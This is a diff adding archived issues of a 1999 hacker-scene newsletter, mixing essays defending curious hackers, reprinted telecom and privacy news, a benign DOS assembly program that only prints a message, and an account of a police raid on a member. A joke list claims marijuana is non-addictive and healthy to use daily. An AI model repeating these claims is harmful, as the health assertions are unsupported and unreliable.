And so, +before the zombies in power try to restrict freedom of thought (thus stifling +the true thinkers), perhaps they should take that into consideration. A wide +eyed kid that uses his computer and modem to explore a few systems isn't a +threat to anyone. Why should anyone hold back his imagination and natural +curiosity? If he doesn't harm anything, then there's no great loss or reason +to hamper his intellectual pursuits. Doing so could mean a real loss to +"society" if they are prevented from learning, and enjoying the process of +learning on their own. Holding them back could effectively that prevent +them from achieving what they were born to be. + +Thinkers are a strange group of people. They aren't the same as everyone +else, nor do they strive to be that. They don't always watch what other +people are doing, or think what others are thinking. They go out on their +own, into the unknown, and take risks. They risk failure, but they are +willing to take chances. Thinkers are willing to allow themselves to think +about things that nobody else has thought about. They don't limit themselves +to one perspective or way of thinking. They don't just imitate and re-create, +they invent. Their ideas are unique. Their inventions are unique. And +they aren't always what is asked of them. For example, the telephone wasn't +originally wanted or accepted by the masses. At first, the usefulness of the +device as a means of communication wasn't even understood. People didn't +even think that it was needed. They thought the telegraph was adequate and +that people didn't need telephones in their homes. But now, it's taken +for granted. The same goes for electricity and light bulbs. Nobody gives +them a second thought. That wasn't always the case though. The same can +be said about many other inventions, ideas, philosophies and ways of life. +Acceptance isn't instantaneous. It has to be realized. + +In conclusion, everything starts with an idea. I have pointed out a number +of differences between zombies and thinkers. However, those are just a few +of the more glaring, obvious ones. Just as, the names of the people that +I listed are recognizable, but by no means are they the only modern thinkers. +They represent my view of who a thinker is, thus showing my personal bias. +But I can't help but mention some of the people that I personally respect. +Of course, there are many other great thinkers that lived during and before +this century. But I've already explained the reasons for only mentioning a +limited amount. Thinkers are from all classes, races, countries, professions +and backgrounds. They can be poor, physically disabled, misunderstood, +misjudged, underestimated and overlooked. As for zombies, they are everywhere. +They're the troglodytes of "society" that want to remain in ignorance. So, in +the end it's up to you to decide which you want to become. You have to be your +own person and make your own choices. I'm not telling anyone what to do. +The goal of this article was just to outline and explain the differences between +the two and allow you to see the truth. I believe I've managed to do that. + +Written by Blackie Lawless ú Damage, INC. (C)opyright 1999. + + +REPORTS FROM THE FRONT - {REPORTS} + + +------------------------------------------------------------------------------- +Experts Say iMac Colors Are Safe Bets +(01/08/99, 6:42 p.m. ET) +By Mo Krochmal, TechWeb + +Blue, blue, my Mac was blue. Not the words to an oldie-goldie tune but a +good-bye ditty for a ground-breaking color scheme for Apple Computer's iMac. + +In the world of fashion, color marches on. Earlier this week, Apple unveiled a +new color scheme for the iMac, actually a bouquet of transparent colors -- +blueberry, grape, tangerine, lime, and strawberry. Consumers buying the wildly +popular computer will now have a choice of colors. + +"Color is going to be extremely important in the consumer market," said Russell +Brady, an Apple spokesman. "Different colors will appeal to different people." + +The original blue-green iMac color, Bondi Blue, which ignited a trend when it +was introduced last July, has been retired and the new technicolor iMacs are +en route to retail stores, Brady said. + +The use of color is not a simple decision engendered by an art director or a +marketer. Color selection is a sophisticated process, combining psychology and +marketing. + +While colorful computers may seem revolutionary for an industry with a +traditionally conservative color palette of gray, black, or beige, Apple is not +taking a big risk, said an expert in the psychology of color. + +"The only real risk may be if all of a sudden people don't want to use color any +more," said Leatrice Eiseman, director of the Pantone Color Institute and the +author of a new book, Colors For Your Every Mood. "I don't see that happening in +the next few years unless the economy totally crashes or the millennium bug +really bites us hard." + +The colors Apple has chosen are popular, said Eiseman. + +"It's the color palette of brights that we have been seeing in the 1990s and +extends into the year 2000," she said. "The only risky color is the lime. It's +the iffiest. It's been very hot in the middle to latter 1990s, but it's a color +that is losing momentum." + +Eiseman and others help businesses pick color schemes for logos and advertising +as well as for products. Their predictions vary. Pantone sees such blues as +Bleached Denim and True Navy as important for 1999 as well as Crabapple and +Bridal Rose. + +The Color Marketing Group also likes blue, in ocean and sea shades, while the +Color Association of the U.S. picks ocean blues as well as warm hues like +apricot. The Color Council is hyping pinks -- "Shocking" and "Think Pink." + +But, on the streets of New York, regarded as one of the fashion capitals of the +world, as the millennium approaches, the "it" color is a dozen shades of gray, a +shade that works well with the palettes of manufacturers like Hewlett-Packard, +which uses several shades -- "quartz" and "flint" -- in producing its Pavilion +line of consumer machines. [TW] + + +------------------------------------------------------------------------------- +Bell Atlantic Backs Away From AirTouch +(01/15/99, 7:07 p.m. ET) +By Reuters + +Local telephone powerhouse Bell Atlantic said late Friday that it had ended its +merger talks with AirTouch Communications, the world's largest wireless company. + +Vodafone Group, Britain's biggest mobile-phone company, and Bell Atlantic +had been in a bidding battle for the company, reportedly offering $55 billion +and $45 billion, respectively. + +Analysts had said earlier in the day that Vodafone had the most flexibility in +terms of sweetening its bid without hurting its earnings, while Bell Atlantic's +current bid was already expected to hurt earnings in the short term. + +AirTouch's reach through both international and U.S. networks made it an +attractive acquisition candidate in a consolidating telecommunications industry. + +By acquiring AirTouch, Bell Atlantic would have gained a presence in the western +United States, letting the New York-based company expand outside the East Coast. +For Vodafone, AirTouch would make a strong international fit and give the +British company a foothold in the United States. + +AirTouch's stock closed Friday up 4 9/16 at 83 3/8 on the New York Stock +Exchange. Bell Atlantic closed down 11/16 at 53 1/8, also on the New York +Stock Exchange. + + +------------------------------------------------------------------------------- +Proposed Merger with GTE + + + PRE-FILED STATEMENT JAMES R. YOUNG + + DECEMBER 14,1998 + EN BANC + +My name is Jim Young, and I am Executive Vice President and General Counsel of +Bell Atlantic. I appreciate the opportunity to appear before the Commission to +discuss our proposed merger with GTE. + +The merger of Bell Atlantic Corporation and GTE Corporation is strongly in the +public interest because it will promote vigorous competition in all +telecommunications markets across the country, and make possible the widespread +deployment of new services and other benefits for consumers nationwide. + +By combining the complementary capabilities of Bell Atlantic and GTE, this +merger will add an important new competitor to the top tier of national +providers that can offer consumers a full bundle of advanced telecommunications +services in all major markets. The Big Three long distance carriers +-MCI/WorldCom/MFS/UUNet, AT&T/TCI/Teleport, and Sprint/Deutsche Telekom/France +Telecom -already recognize the critical importance of this developing national +market, and have been busily assembling the capabilities to roll out national +bundled offerings. The merger of Bell Atlantic and GTE will create a fourth new +competitor with the necessary scale and scope to compete with the Big Three in +this emerging national market for bundled services. The new company will have a +national customer base, the full array of competitive offerings in key markets +across the country, and the ability to create a national brand to rival AT&T's +or MCI WorldCom's. + +Local service: The merger of Bell Atlantic and GTE will combine in one company +the necessary capabilities to enter the markets of the other Bell companies on +a widespread and effective basis, which neither company can do alone. + +The Commission has concluded in recent orders that the Bell companies may be +among the most significant potential competitors to each other in major +metropolitan markets where their geographic regions are contiguous. However, +Bell Atlantic today is not a significant potential competitor to any of the +other Bell companies. Its service areas are geographically separated from the +major service areas of the other Bells. And it lacks the national presence +and the national data and long distance assets that it needs to enter and +compete effectively with the Big Three in key out-of-region markets. + +With its local telephone facilities broadly dispersed throughout the United +States, GTE provides the combined company with the national presence that Bell +Atlantic lacks. One glance at the attached map of GTE's service territories +verifies this fact. In addition, GTE has begun to deploy its own new national +facilities-based network, known as the "Global Network Infrastructure," that is +critical to effectively compete with the Big Three national facilities-based +carriers for major business customers. + +Unlike the Big Three, however, GTE lacks an established relationship with many +of the major business customers outside its service area who themselves operate +on a nationwide basis. These customers are critical to entry into the major +markets of the other Bell companies, since they will provide the anchor +customers that make expansion into the broader market possible. The merger with +Bell Atlantic helps to fill this gap. Many of the nation's largest business +customers are headquartered or have a significant presence in the Bell Atlantic +region. The merged company will be able to draw on Bell Atlantic's existing +relationships and established sales channels to offer these customers a full +menu of local, data, and long distance services across the country, just as +the Big Three already can do, and to attract the key anchor customers that it +needs to succeed in entering the markets of the other Bells. + +Moreover, these substantial pro-competitive benefits will far outweigh any +minimal loss in potential competition inside the Bell Atlantic region, where +the existing local service areas of the two companies do not overlap and where +neither company is a significant potential competitor to the other. + +Internet and data services. The merger will greatly enhance the competitive +strength of GTE's Internet backbone, and permit the widespread deployment of +new Internet and data services. By doing so, it will promote healthy +competition in these critical markets. + +GTE Internetworking (formerly BBN) is currently a distant fourth to the most +significant providers of Internet backbone services, behind the much larger +MCI WorldCom, MCI's successor Cable & Wireless, and Sprint. AT&T is now on +the verge of joining the top ranks of Internet backbone providers. By combining +Bell Atlantic's existing sales channels to reach its concentrated urban +customer base with GTE Internetworking's existing backbone business, the +combined company will become a much more potent competitor to the larger +backbones and AT&T. The merger will allow the combined company to expand the +volume of data and Internet traffic on its backbone, and increase the number of +valuable Web sites and customers connected to its backbone. This will accelerate +the transition of GTE's backbone to the combined company's own facilities-based +network and away from dependence on MCI WorldCom. It also will make possible the +widespread rollout of new Internet products and services, stimulating the +creation of vibrant new markets and the entry of new competitors. + +In addition, with large-business customer relationships across the country, the +combined company will be able to market national data offerings like frame +relay, ATM and VPN services that neither company alone currently has the +national customer base to offer. + +Long distance. The merger will increase competition in the general long distance +market by speeding up GTE's deployment of a new national long distance network +to compete with the Big Three facilities-based providers. With the MCI-WorldCom +merger, there are only three fully national facilities-based long distance +carriers. Although GTE hopes to migrate some of its long distance traffic onto +its own planned network, the "Global Network Infrastructure," GTE's customer +base alone will not generate sufficient long distance traffic to deploy a +full-fledged national network. By adding Bell Atlantic's long distance business +to the traffic that will be carried over the network, the merger will reduce +unit costs and provide the scale necessary to allow the combined company more +quickly to deploy a national network to compete against the Big Three. + +Wireless and international. Finally, the merger will combine fully complementary +wireless and international assets to enable the new company to offer a broader +range of services more efficiently to more customers. + +The synergies created by the merger will provide the resources to fund many of +the competitive initiatives described above, and to continue to provide high +quality service to all our customers. The new company will achieve significant +cost savings through combined equipment procurement, joint software development +and other cost synergies. The merger will also generate enhanced revenue +opportunities through the deployment of new products and services. These are the +same types of synergies that Bell Atlantic predicted and delivered in its +previous merger with NYNEX, and that already have benefited consumers. + +All in all, the combination of Bell Atlantic and GTE promises to unleash a new +generation of choices for consumers throughout the telecommunications arena and +to fulfill the pro-competitive vision embodied in the Telecommunications Act of +1996. Far from raising competitive problems, the merger of Bell Atlantic and GTE +will be an important affirmative step in transforming into reality the promise +of vigorous competition in all relevant markets for telecommunications services. + +Copyright (C) 1998 Bell Atlantic Corporation + +Check http://www.ba.com for more information. + + +------------------------------------------------------------------------------- +Bell Atlantic - GTE Fact Sheet + + Financial Profile + Domestic Wireline Profile + Domestic Wireless Profile + +Financial Profile +($ in Billions, except per share amounts) Pro Forma + + (Unaudited) + + Bell Atlantic GTE Combined +--------------------------------------------------------- +1997 +Revenues $30 $23 $53 +EBITDA* $13 $9 $22 +Net Income* $3.9 $3.0 $6.9 +Earnings per Share +(diluted)* $2.45 $2.90 $2.51 +Wghtd. Avg. Shares +(diluted) (M) 1,571.1 962.0 2,744.7 +Assets $54 $42 $96 +Capital Expenditures: +Domestic Wireline $5.5 $3.6 $9.1 +Domestic Wireless 0.9 0.3 1.2 +All Other 0.2 1.2 1.4 + -------------------------------- +Total $6.6 $5.1 $11.7 + -------------------------------- +June 30, 1998 +Domestic Access Lines +(M) 40.8 22.4 63.2 +Domestic Wireless +Customers (M) ** 6.0 4.6 10.6 +Employees 142,500 117,500 260,000 + +* Excludes special items +** Includes proportionate share of PrimeCo Personal +Communications + + +---------------------------------------------------------- + +Domestic Wireline Profile + Pro Forma +($ in Billions) (Unaudited) + Bell Atlantic GTE Combined +--------------------------------------------------------- +1997 +Operating Revenue $27.0 $15.1 $42.1 +Operating Income $6.8 $4.5 $11.3 +Operating Cash Flow $11.8 $7.2 $19.0 +Operating Cash Flow +Margin 43.7% 47.7% 45.1% + +Capital Expenditures $5.5 $3.6 $9.1 + +Employees 131,30068,700 200,000 + +June 30, 1998 +Access Lines (000) +Residence (incl. Public) 26,26213,335 39,597 +Business 14,565 8,992 23,557 + ------------------------------- +Total 40,82722,327 63,154 + ------------------------------- +Access Minutes of Use +(M) 84,95843,327 128,285 + + +---------------------------------------------------------- + +Domestic Wireless Profile + Pro Forma +($ in Millions) (Unaudited) + Bell AtlanticGTE ** Combined +--------------------------------------------------------- +1997 +Revenues $3,098$2,742 $5,840 +Service Revenues $2,722$2,549 $5,271 + +Operating Income $740 $449 $1,189 +Operating Cash Flow $1,159 $854 $2,013 +Operating Cash Flow +Margin 43% 34% 38% + +Capital Expenditures $915 $297 $1,212 + +June 30, 1998($ in +Millions) +Cellular Subscribers 5.7 M +PCS Subscribers 0.3 M + ------------------------------- +Total Subscribers * 6.0 M 4.6 M 10.6 M + +Proportionate POPs *** * 85.5 M61.9 M 147.4 M + +Penetration 10% 9% +Churn Rate 1.75% 2.30% +Revenue per Subscriber $50 $48 + +* Includes proportionate share of PrimeCo Personal +Communications +** Includes GTE MobileNet cellular and PCS +*** Includes conflicted properties + +---------------------------------------------------------- + +Copyright (C) 1999 Bell Atlantic Corporation + + +------------------------------------------------------------------------------- + 1/4/99 + Privacy: See what they have wrought? And what we want to avoid! + + EU: FEAR RAISED BY EURO POLICE COMPUTER. + 02-01-1999 By Roger Boyes in Bonn. + + THE new year opens the door not only for the euro but also for + Europol, the fledgeling 15-nation police intelligence agency that + will use the first part of its new computer system to fight crime + across the union. + + TECS - The Europol Computer System - is a policeman's dream and a + nightmare for civil rights activists. At present the computer is + defined as an interim system but will soon provide the police + agency with full analytical data not only on convicted criminals + and suspects but also victims, potential victims, those with + suspected criminal contacts and probably even witnesses. Data on + health and race can also be stored. + + Eventually, TECS will be expanded to provide a more general data + bank with a capacity to store information on about a million or + more people. The German Government - especially the Green Party - + has become very nervous about its introduction. Germany has the + strictest data protection laws in Europe and the question of + access to the stored information is particularly sensitive. At + first only Europol officials - nationally delegated detectives + who work in The Hague - will be able to use the data base. When + the system expands, however, policemen from every country will be + able to tap into the Europol data bank. A French policeman could + thus discover private aspects of a German's life and behave more + freely with that information than a German policeman. + + The arrest of a Belgian policeman on suspicion of selling + information from the Schengen information system to the Mafia + sent alarm bells ringing in Germany. The question of storing + information on witnesses is particularly controversial. + + Europol officers cannot, as yet, function in the manner of a + federal police force, and the head of Europol is a well-respected + German detective. However, the data question is likely to become + a flashpoint. + + Infowar.Com & Interpact, Inc. WebWarrior@Infowar.Com + Submit articles to: infowar@infowar.com + Voice: 727.393.6600 Fax: 727.393.6361 + + +------------------------------------------------------------------------------- + The 1998 UK Big Brother Awards + + London, 26 October 1998 + + In October 1998, Privacy International presented the first annual "Big + Brother" awards to the government and private sector organisations that + have done the most to invade personal privacy in Britain. + +The awards were bestowed at a special event on 26 October at the London +School of Economics. "Winston" awards were given to individuals and +organisations which have made an outstanding contribution to the protection +of privacy, as well as to people who have been victims of privacy invasion. + +Three "Big Brother" awards were presented to: + + * the government agency + * the company + * the initiative + +which have done most to invade personal privacy. A "lifetime achievement" +award was also presented. + +The awards were judged by a panel of experts, comprising lawyers, +academics, consultants, journalists and civil rights activists based on +nominations from members of the public. The nominations received covered a +wide spectrum, ranging from large, well-known institutions, to smaller +organisations which specialise in surveillance. Nominations included +private investigators, police agencies, telecommunications companies, +national security operations, and companies which export surveillance +technology to overseas military regimes. + +1998 UK Award Winners + +PRODUCT AWARD + + HARLEQUIN which has created the WatCall telephone traffic + analysis system, which allows police to analyse telephone records + to create "friendship networks" which are then linked to existing + police intelligence systems to automatically target people who + are of interest. This activity takes place without the issue of + any warrant. + +CORPORATE AWARD + + PROCUREMENT SERVICES INTERNATIONAL. One of the more malodorous UK + organisations exporting surveillance equipment to such military + regimes as Indonesia and Nigeria. Its equipment has been used to + aid the genocide of the East Timor population. + +LOCAL GOVERNMENT AWARD + + NEWHAM COUNCIL for its Mandrake automatic face recognition + system. The council has installed this software for the areas 140 + cameras. It intends to automatically identify people "of + interest" to authorities. + +NATIONAL GOVERNMENT AWARD + + THE DEPARTMENT OF TRADE AND INDUSTRY for its promotion of bad + encryption policy, particularly the farcical white paper on + Trusted Third Parties in 1997. + +PEOPLE'S CHOICE WINNER + + JACK STRAW For invasion of privacy above and beyond the call of + duty. Justification includes the Police Act, treatment of asylum + seekers, extension of police powers and information gathering + practices, secret activities within the European K4 (Justice and + Home Affairs) Committee, and the development of "conflict + management" strategies that allow police to store information on + protesters, travellers or anybody else they believe may threaten + public order. + +LIFETIME ACHIEVEMENT AWARD + + MENWITH HILL SIGNALS INTELLIGENCE BASE (Yorkshire), the world + largest spy station, built and operated by the US National + Security Agency. Its ECEHLON keyword recognition system, used to + dragnet global communications, was last month debated by the + European Parliament. + +THE WINSTON AWARDS + + SCHNEWS is a Brighton based weekly newsletter which for the past + three years has done a great deal to raise awareness of privacy + and surveillance issues, particularly those which the mainstream + media refuse to touch. Its small team works on a voluntary basis, + and the publication (which is free) is seen as one of the most + influential civil liberties organs in Britain. + + LINDIS PERCY has for many years fought to raise awareness of the + activities of the US National Security Agency, particularly + relating to Menwith Hill, the agencies key spy base, located in + Yorkshire. She has been arrested more than 150 times, and has + recently been jailed for her actions, despite being a quaker and + a pacifist. ALAN LODGE is a Leeds photographer who has spent more + than a decade raising awareness of front-line police surveillance + activities, particularly the endemic practice of photographing + demonstrators and activists. + + ESTHER BULL is a 19-year-old student who last year discovered + that her landlord had placed a video camera behind a two-way + mirror in her bathroom. Esther had been filmed secretly for + nearly two years, but the lack of a privacy law meant that the + perpetrator could only be prosecuted under the "bad landlord" + laws. She has helped form the "Operation Peeping Tom" campaign to + encourage other victims to tell their story. + + HARRY COHEN is a Labour MP who has consistently worked to + strengthen data protection by introducing private members bills. + He has frequently been a lone voice in Parliament on this issue. + +Future Awards + +The event was the first of its kind in the world, taking place on the 50th +anniversary of the writing of George Orwell's 1984. The event will be +staged every year. Privacy International is also planning to extend the +award throughout Europe, Asia and North America. The US awards will be +presented at the Computers, Freedom and Privacy '99 Conference in +Washington, DC, 6-8 April 1999. +------------------------------------------------------------------------------- + + +THC PHREAK'S TOP TEN LIST - {TOP TEN} +Reasons why dope is better than warez: + + 1. You can't impress your friends with how many warez you have, unless + they're all warez d00ds. Collecting warez is a waste of time. But, + if you have a big stash of dope, they will be impressed and you'll + suddenly have friends that you never knew you had. + + 2. Dope makes you feel good and will get you high without making you + addicted. Warez can't get you high, won't make you feel good + and some of them can be addictive. + + 3. Dope smells good. Dope tastes good. Dope is good. + + 4. You can smoke dope. You can't smoke warez. + + 5. You don't need any expensive equipment to smoke dope and you + can grow your own. You can't grow your own warez and they + require some type of play system with a storage device. + + 6. Smoking dope with others is a social activity that helps develop + your interpersonal skills and relationships with people. Playing + warez might develop your hand-eye co-ordination motor skills, but + won't help with personal skills or popularity. + + 7. If you smoke dope daily, it can benefit your health and your mind. + If you play warez daily, your health won't be benefitted in any way. + In fact, it promotes laziness and stupidity. If you play warez + everyday, there's a good chance you'll become an ignorant fat ass + that just sits inside all day playing warez. Aren't there enough + of those people around already? + + 8. You won't get your ass kicked for smoking dope at school. + + 9. Dope is cool. Warez aren't. What would you rather have in your + hand, a nice fat joint or a fucking purple joystick with 20 buttons? + + 10. Dope never gets boring. + + +;The following shit is actually working code. If you are bored, stupid or +;insane enough to want to compile this, use TASM /M blurb.asm and then +;TLINK /T blurb.obj to create a useless blurb.com file. +;Written by THC Phreak (C) Copyright 1999. + +blurb segment + assume cs:blurb, ss:blurb, ds:blurb, es:blurb + org 100h + +shit: + mov ah,9 + mov dx,offset dope + int 21h + +phreakoff: + mov ax,4C00h + int 21h + +;THE UNBELIEVABLY SARCASTIC, USELESS, HILARIOUS BLURB DATA IS BELOW. + +dope db '',13,10 + db 'The Dope Blurb:',13,10,13,10 + db 'Expand your mind. Improve your social life. Smoke dope.',13,10 + db 'This message has been brought to you by Damage, INC. It',13,10 + db 'was paid for and powered by dope. No animals, humans,',13,10 + db 'plants, buds or bongs were harmed in the making of this',13,10 + db 'Top Ten List. If in doubt, read the disclaimer again. If',13,10 + db 'you feel this material is questionable, blatantly humourless',13,10 + db 'or you simply object to it for any reason, send me Email.',13,10 + db 'This was written at 3am, Tuesday January 26th while drinking',13,10 + db 'massive quantities of vodka and smoking dope. If it''s',13,10 + db 'incoherent, it''s your fault, not mine. It''s sponsored by',13,10 + db 'my Hewlett-Packard 233 system, kick ass Yamaha stereo, fast',13,10 + db 'motorcycle, Bell Mobilitie and the really k3wl CDs that I''m',13,10 + db 'listening to while typing this shit. So, if you find this to',13,10 + db 'be senseless, witless drivel, phreak off. ',13,10,13,10 + db 'By the way, this assembly blurb shit wasn''t even my idea.',13,10 + db 'So don''t blame me if you think it looks stupid!',13,10,'$' + +blurb ends + end shit + + +THOUGHTS, POEMS AND CREATIVE WRITING - {WRITING} +Rant on the future: + +I admit it. The approach of a new millennium in less than a year has +directed my thoughts to the future and made me focus on it. Perhaps it's +unavoidable living in this media driven, techno world. Maybe it is something +that inevitably everyone has to face. Nonetheless, I have recently devoted a +considerable amount of time to thinking about what the future will be like. +And that can be somewhat frightening to anyone that's willing to be honest +with themselves because the future is such a vast thing for one to ponder. +Our very existence depends on there being a future to consider, but the +uncertainty of it makes us imagine all kinds of possibilities. Some of +them are good, others aren't. Obviously, there are literally infinite +possibilities. However, we can't contemplate even the smallest number of +them. So, we normally avoid thinking about what could be, try to make +predictions or we just hope for the best. We can prophesize and develop +theories about what might happen, but can we change the future? How can +we affect it? + +If you're a realist and not a naive optimist, then hoping for the best isn't +an option. So, instead of relying on blind faith that things will work +out, you explore and consider the possibilities that could apply to you in a +logical manner. It can be overwhelming to think about what your future, say +the next 10 years of your life, could be like. It's difficult for a person +to imagine how they and the world will change during that time span. Yet, in +all seriousness, that's what I began to do early in 1999. I started setting +goals, making plans, thinking of ways to change and progress, etc. It's a +personal thing and not easy by any means. But it's not impossible. However, +it requires effort and a long term commitment. Afterall, you can't expect to +change your own future without doing anything. + +What if the future is already happening right now? We tend to think of time +as a straight line. As in, the PAST ---> PRESENT ---> FUTURE. That timeline +could be totally wrong though. Here's a concept. The future could occupy the +same time and space as the present and past. But this isn't about space-time +continuum theories or physics. ;) + +What will the year 2000 and beyond be like? Will the Y2K bug be a bang or +a bust? What major changes will occur in the world and "society"? What +will music, entertainment, business, politics and computer technology be like +in the next millennium? Who will be the next president of the United States? +Fuck, I don't know. I'm not a psychic. ;) + +I don't have all of the answers. I've just been thinking about these things +and wanted to express that in an article. If I seem incoherent, there's +an explanation for that, but it's one that I'm not willing to share. If +my thoughts seem erratic or irrational, well... that's your fucking problem +if you can't understand what I'm saying. I realize that I haven't expressed +myself very clearly and that this type of article is a departure from what +usually appears in this section. Again, that's by design. I wanted to +write something that's unique, regardless of how it would be later viewed. + +The future just is. It's something that we can prepare for, approach +cautiously and make predictions about, but in the end we just have to face +it and accept whatever happens. There's no sense in worrying about it. +Either there's a future waiting for you, or there isn't. Whatever the case, +whether fate exists or not, you have a future or you don't. You may have +an attitude of "Fuck the future!" That's cool. Just remember that you may +still have to deal with shit when it happens. So, think about it, believe what +you will and decide what you want. Just don't fall prey to the millennium +madness that the mass media wants everyone to buy into. + +Those are just some of my thoughts on the subject at this particular moment +in time. Of course, they're subject to change without notice. ;) + +Written by BLACKENED ú Damage, INC. (C)opyright 1999. + + +CLOSING COMMENTS - {CLOSING} +Blackie Lawless' Revolutionary Closing Comments: + +"It's evolution baby!" - Pearl Jam + +As a race, how do we evolve? One way is through revolution. I don't think +that evolution is limited to our physical and mental development. As in, I +believe that revolution is a part of evolution. Throughout history, we've +revolted in order to enact change and that process has helped us to continue +evolving. To me, the path is clear. Now and in the years ahead that lead +us into the next millennium, we must not allow ourselves to become complacent +and thereby forget what it has taken to get to this point. We simply can't +allow our rights, such as privacy and the freedom of speech to be stripped away. +And we have to be vigilant in the causes that we strongly believe in if we +want to effect change. This is not an easy task, but it's an important one. +Technology is evolving at a rapid pace, and we must also evolve. Also, if +we want things to change, we must change. Indifference has to be eliminated. +People have to stand up and voice their opinions before they can be heard. +So, that's what I'm calling on everyone to do. In my opinion, it's something +that anyone can and should do. + +There are two distinct classes of beings on this planet and they aren't +separated by income, status or race. There are zombies and thinkers, nothing +more. You aren't born as either. It's your own choice as to which you +become. If you choose to ignore logic, believe lies and turn a blind eye to +the truth, then you should gladly put yourself into the zombie category because +that's exactly where you belong. However, if you want to learn, aren't naive +and spend time dedicated to thought, then perhaps you can become a thinker. It +isn't automatic though and requires a great deal of determination to make a +transition such as that. Even though it may seem like I'm generalizing and +presenting things in black and white terms, I can assure you that I'm not. I +did simplify the two classes though. I don't deny that there are many shades +of grey and a middle ground. But the fact remains that there's still a huge +distinction between a zombie and a thinker. Hopefully that's apparent to you +already. I've only been attempting to clarify it as much as possible for +everyone in these closing words. + +As for this issue, my goal was to establish a theme, starting with the +Introduction and carry it through until the end. I believe I've done that. +There was an image in my mind of what I wanted this issue to be about when I +selected the quote. Although it's not easy to follow an image and put it +into words, I put a lot of effort into doing just that with relative success. +It has been a difficult but enjoyable experience at the same time. Perhaps +that is why I enjoyed it, because of the responsibility I was given and the +difficulties that I encountered. It opened my mind and my eyes to what is +involved with putting an issue of the Damage, INC. Newsletter together. +Basically, it was my first chance to organize an entire issue and I took the +opportunity to learn something. I'm glad that I was given the chance to do so +since it forced me to evolve. + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +"Do you remember *that* conference? It lasted forever." - Blackie Lawless. + +"Ma Bell is nothing more than a petty, cheap, dirty whore!" - THC Phreak + +"They're not asleep at the switch man. CAMA is in a coma." - BLACKENED + +"...a party line with an answering machine. Then they got a private line." +- Shatazar + +Check out M$OFT2.JPG. It's an alternative to the original "Boycott Micro$oft" +banner that was included in the last issue. :) + +- EOF diff --git a/textfiles.com/groups/DAMAGEINC/damage.015 b/textfiles.com/groups/DAMAGEINC/damage.015 new file mode 100644 index 00000000..31226f09 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/damage.015 @@ -0,0 +1,3576 @@ + ____ _____________ ___________ _____ + ____\ |_\_ | _ _ |_\_ | _ | _ |__________ _ _ ___ + | _ | _ | | | | _ | | | | |-| _ | | ______\ | /___ + | | | | | | | | | |____ | ___| | | | |-| \ |zZ! /___ + l______|_____|__|-|__|_____|__/__|___\___|_|_|___|_ ___________ ___________ + | _ | _ | |-| | ___/_ | | _ \_ __/_|_ _ | \_ + D a m a g e , I N C .| | | | | | | |___ | | | | | \_ _/ | | |__/ + | | | ___| | | | | | |--| ___| | | ___| | + N e w s l e t t e r |__|__|___\ |_______|_____|_____|___\ |__|__|___\ |__| + + Volume 2, Issue #15 + (Released: 05/31/99) + + "For Whom the Bell Tolls." + + http://surf.to/damage_inc + email: damage_inc@dope.org + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + C O N T E N T S : + +þ INTRODUCTION - An Introduction to the Damage, INC. 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Newsletter are for informational +purposes only. Damage, INC. is not responsible for how any of the information +presented is used. It is not intended to be a manual with instructions to be +followed. We won't be held responsible for any damages caused, illegal acts +committed etc. by our readers. If/how you use the information given is entirely +up to you. + + +< COPYRIGHT NOTICE > + +All articles and source code contained within this file are (C) Copyright by +Damage, INC. (unless stated otherwise). No part of this work can be modified, +reproduced or changed in any way without the expressed written consent of +Damage, INC. That means, electronically or otherwise, in part or in whole +this file must not be altered. It cannot be included with any other releases. +You cannot claim that you wrote it, or alter any articles and source code that +has been written and Copyrighted by us. Also, do *not* distribute any +Damage, INC. releases in "packages" with other text files or utilities. They +must only be distributed alone in their present, original form. You are +permitted to read and distribute the Damage, INC. Newsletter freely to quality +h/p boards only. + + Copyright 1999 by Damage, INC. + All Rights Reserved. +_______________________________________________________________________________ + + +INTRODUCTION: + +"For Whom the Bell Tolls. Time marches on." - Metallica. There's irony in +our use of that quote for this 15th issue. As many of you know, the quote that +we've chosen for this issue is the name of a song, a movie and a book by +Ernest Hemmingway. It's also a fairly common expression. But that isn't why +I chose it. And it wasn't selected just to spoof or mock Bell either. I'll +attempt to explain. Many unforseen, disturbing events have occurred in the last +two months or so. On Thursday April 8th, 1999 the house of one my friends was +raided. The RCMP in Quebec (along with the Provincial Police and Bell Canada +security officials) performed a search and seizure at the residence of +THC Phreak, a Damage, INC. Member. With a search warrant in hand, they broke in +and proceeded to gather up everything with an electric cord attached, including +all of his computer and electronics equipment, stereo equipment, disks and CDs, +etc. They also confiscated hard copy materials such as manuals, documents, +scrap paper, etc. Basically, anything that was near his computer system on the +desk, shelves or stored in drawers. Everything was hauled away and taken into +their custody, excluding clothing, furniture and large household appliances such +as his dishwasher, fridge and stove. Other than that, everything was removed +from the premises. With complete and utter disregard for his humble dwelling +and belongings, they broke two of his doors down and ransacked the house. They +charged in like cowboys with their guns drawn, hands on their triggers. He was +placed in custody (in handcuffs) and questioned by a detective with an officer +standing guard. Needless to say, it wasn't a pleasant experience for him, nor +did I feel too good after he told me about what happened. + +Here's the irony. I chose the quote for this issue several weeks before any +of this occurred, after having been in contact (not by choice) with Ma Bell. +Originally, it was meant towards them... and them alone. However, that all +changed once I was notified of THC Phreak being busted. So, the *least* that +I can do is dedicate this issue to him. Man, I had heard that the RCMP in +Quebec are a bunch of goons that love doing this type of shit (from Err418, +THC Phreak and others) but now they've really shown their true colours. I +can't go into detail regarding any circumstances of the case, since I don't +want to do anything that will adversely affect THC Phreak. But I can say +that once again I'm sickened by the actions of the RCMP. Those power tripping, +trigger happy, bust hungry bastards have proven once again that they have +absolutely no respect for the rights of citizens and are just out to destroy +people's lives at any cost. They're as bad as the Secret Service in the U.S. +No matter what I say, I cannot go far enough in bashing them. And each time +the RCMP is publicly humiliated and discredited, they get away with it. They +aren't bothered in the least by bad publicity. They might even enjoy their +image of corruptness. They don't follow the laws of this country. In fact, +they're allowed to break them at will by the corrupt judges that are without +ethics and have no conscience. To say that is pisses me off is an extreme +understatement. I'm extremely angry over this whole situation. What evidence +did they have to get a search warrant signed? If they'd been monitoring his +activities for months (like they claimed to be), why the hell couldn't they +have given him a warning? Is it legal 